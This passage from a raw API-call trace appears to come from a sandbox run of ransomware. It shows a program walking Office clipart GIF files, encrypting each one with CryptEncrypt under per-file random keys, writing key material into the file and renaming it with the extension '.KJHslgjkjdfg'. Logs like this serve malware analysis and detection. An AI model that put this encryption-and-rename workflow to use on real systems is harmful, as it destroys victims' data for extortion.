GetProcessHeap () returned 0x2a0000 [0193.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif.kjhslgjkjdfg")) returned 1 [0193.733] CloseHandle (hObject=0x118) returned 1 [0193.733] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0193.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.734] GetProcessHeap () returned 0x2a0000 [0193.734] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.734] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.734] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.734] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0193.757] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.757] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.757] GetProcessHeap () returned 0x2a0000 [0193.757] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.757] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.757] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.757] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.757] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.757] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.758] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.758] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.758] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.758] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.758] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.758] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.758] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x43e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x43e, lpOverlapped=0x0) returned 1 [0193.758] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x440, dwBufLen=0x440 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x440) returned 1 [0193.758] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.758] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x440, lpOverlapped=0x0) returned 1 [0193.758] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.758] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.758] SetEndOfFile (hFile=0x118) returned 1 [0193.764] GetProcessHeap () returned 0x2a0000 [0193.764] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.764] GetProcessHeap () returned 0x2a0000 [0193.764] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif.kjhslgjkjdfg")) returned 1 [0193.766] CloseHandle (hObject=0x118) returned 1 [0193.766] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0193.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.767] GetProcessHeap () returned 0x2a0000 [0193.767] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.767] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.767] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.767] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0193.799] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.799] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.800] GetProcessHeap () returned 0x2a0000 [0193.800] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.800] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.800] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.800] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.800] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.800] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.800] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.800] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.800] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.800] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.800] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.801] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.801] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x412, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x412, lpOverlapped=0x0) returned 1 [0193.801] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x420, dwBufLen=0x420 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x420) returned 1 [0193.801] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.801] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x420, lpOverlapped=0x0) returned 1 [0193.801] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.801] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.801] SetEndOfFile (hFile=0x118) returned 1 [0193.804] GetProcessHeap () returned 0x2a0000 [0193.804] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.804] GetProcessHeap () returned 0x2a0000 [0193.804] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif.kjhslgjkjdfg")) returned 1 [0193.806] CloseHandle (hObject=0x118) returned 1 [0193.806] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0193.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.807] GetProcessHeap () returned 0x2a0000 [0193.807] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.807] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.807] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.808] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0193.810] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.810] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.810] GetProcessHeap () returned 0x2a0000 [0193.810] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.810] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.810] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.810] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.811] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.811] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.811] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.811] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.811] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.811] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.811] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.811] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.811] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b7f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1b7f, lpOverlapped=0x0) returned 1 [0193.812] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1b80, dwBufLen=0x1b80 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1b80) returned 1 [0193.812] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.812] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1b80, lpOverlapped=0x0) returned 1 [0193.813] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.813] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.813] SetEndOfFile (hFile=0x118) returned 1 [0193.815] GetProcessHeap () returned 0x2a0000 [0193.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.815] GetProcessHeap () returned 0x2a0000 [0193.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif.kjhslgjkjdfg")) returned 1 [0193.817] CloseHandle (hObject=0x118) returned 1 [0193.818] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0193.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.819] GetProcessHeap () returned 0x2a0000 [0193.819] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.819] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.819] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.819] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0193.822] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.822] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.822] GetProcessHeap () returned 0x2a0000 [0193.822] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.822] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.822] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.822] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.822] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.822] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.822] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.823] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.823] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.823] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.823] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.823] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.823] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6ad, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x6ad, lpOverlapped=0x0) returned 1 [0193.823] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6b0, dwBufLen=0x6b0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6b0) returned 1 [0193.823] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.823] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x6b0, lpOverlapped=0x0) returned 1 [0193.823] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.823] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.823] SetEndOfFile (hFile=0x118) returned 1 [0193.826] GetProcessHeap () returned 0x2a0000 [0193.826] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.826] GetProcessHeap () returned 0x2a0000 [0193.826] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif.kjhslgjkjdfg")) returned 1 [0193.828] CloseHandle (hObject=0x118) returned 1 [0193.828] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0193.828] CreateFileW 